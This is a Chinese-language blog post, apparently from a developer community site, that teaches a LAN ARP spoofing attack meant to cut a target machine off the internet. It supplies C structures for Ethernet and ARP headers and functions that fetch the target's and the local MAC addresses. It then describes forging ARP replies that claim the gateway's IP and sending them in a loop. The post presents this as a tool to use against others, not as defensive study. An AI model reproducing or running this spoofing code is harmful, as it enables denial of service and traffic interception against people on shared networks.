局域网ARP断网攻击

本程序利用向局域网中的目标地址发送伪造的ARP数据包,目的是使目标主机上的ARP缓存中的网关IP对应的mac地址变为本机的mac地址,这样一来,在链路层的通信中,目标主机发给网关的数据就会发送给本机,也就不能上网了。

首先构造ARP数据包以及以太网首部:

<span style="font-size:14px;color:#003333;">//以太网首部
typedef struct ethdr
{
    unsigned char  eh_dst[6]; //目的MAC地址
    unsigned char  eh_src[6]; //源MAC地址
    unsigned short eh_type; //帧类型
}ETHDR,*PETHDR;


//ARP报文
typedef struct arphdr
{
    unsigned short  arp_hdr;    //2字节硬件类型
    unsigned short  arp_pro;    //2字节协议类型
    unsigned char   arp_hln;    //1字节硬件地址长度
    unsigned char   arp_pln;    //1字节协议地址长度
    unsigned short  arp_opt;    //2字节操作类型
    unsigned char   arp_sha[6]; //6字节发送端MAC地址
	unsigned char   arp_spa[4]; //4字节发送端IP地址
    unsigned char   arp_tha[6]; //6字节目的MAC地址
    unsigned char   arp_tpa[4]; //4字节目的IP地址	
}ARPHDR,*PARPHDR;</span>
其中伪造ARP数据包的关键就是arp_spa[4]字段。把它设为网关的地址。这样一来,这个数据包的发送端IP与MAC就分别变成了网关与本机MAC了。

那么如何根据目标IP获得目标主机的mac地址呢?这里用到SendARP函数,我们将它封装成为自己的函数:

<span style="font-size:14px;color:#003333;">BOOL GetDestMac(char *szDestIP,unsigned char *macaddr)
{
	u_char arDestMac[6] = { 0xff, 0xff, 0xff, 0xff, 0xff, 0xff };
	ULONG ulLen = 6;
	//得到目标主机MAC地址
	if(SendARP(inet_addr(szDestIP), 0, (ULONG*)arDestMac, &ulLen) == NO_ERROR)
	{
		memcpy(macaddr,arDestMac,6);
		return TRUE;
	}
	return FALSE;
}</span>
得到了目标主机的MAC地址后,还需要获得本机的MAC地址,我们也将它封装成为一个函数:

<span style="font-size:14px;color:#000099;">BOOL GetLocMac(unsigned char *macaddr)
{
	PIP_ADAPTER_INFO pAdapterInfo = NULL;
	ULONG ulLen = 0;
	GetAdaptersInfo(pAdapterInfo,&ulLen);
	pAdapterInfo = (PIP_ADAPTER_INFO)GlobalAlloc(GPTR, ulLen);
	// 取得本地适配器结构信息
	if(GetAdaptersInfo(pAdapterInfo,&ulLen) ==  ERROR_SUCCESS)
	{
		if(pAdapterInfo != NULL)
		{

			memcpy(macaddr, pAdapterInfo->Address, 6);		
			return TRUE;
		}
	}
	return FALSE;
}</span>

最后初始化ARP数据包,并且调用PacketSendPacket函数循环发送,这样目标主机就不能上网了。




评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值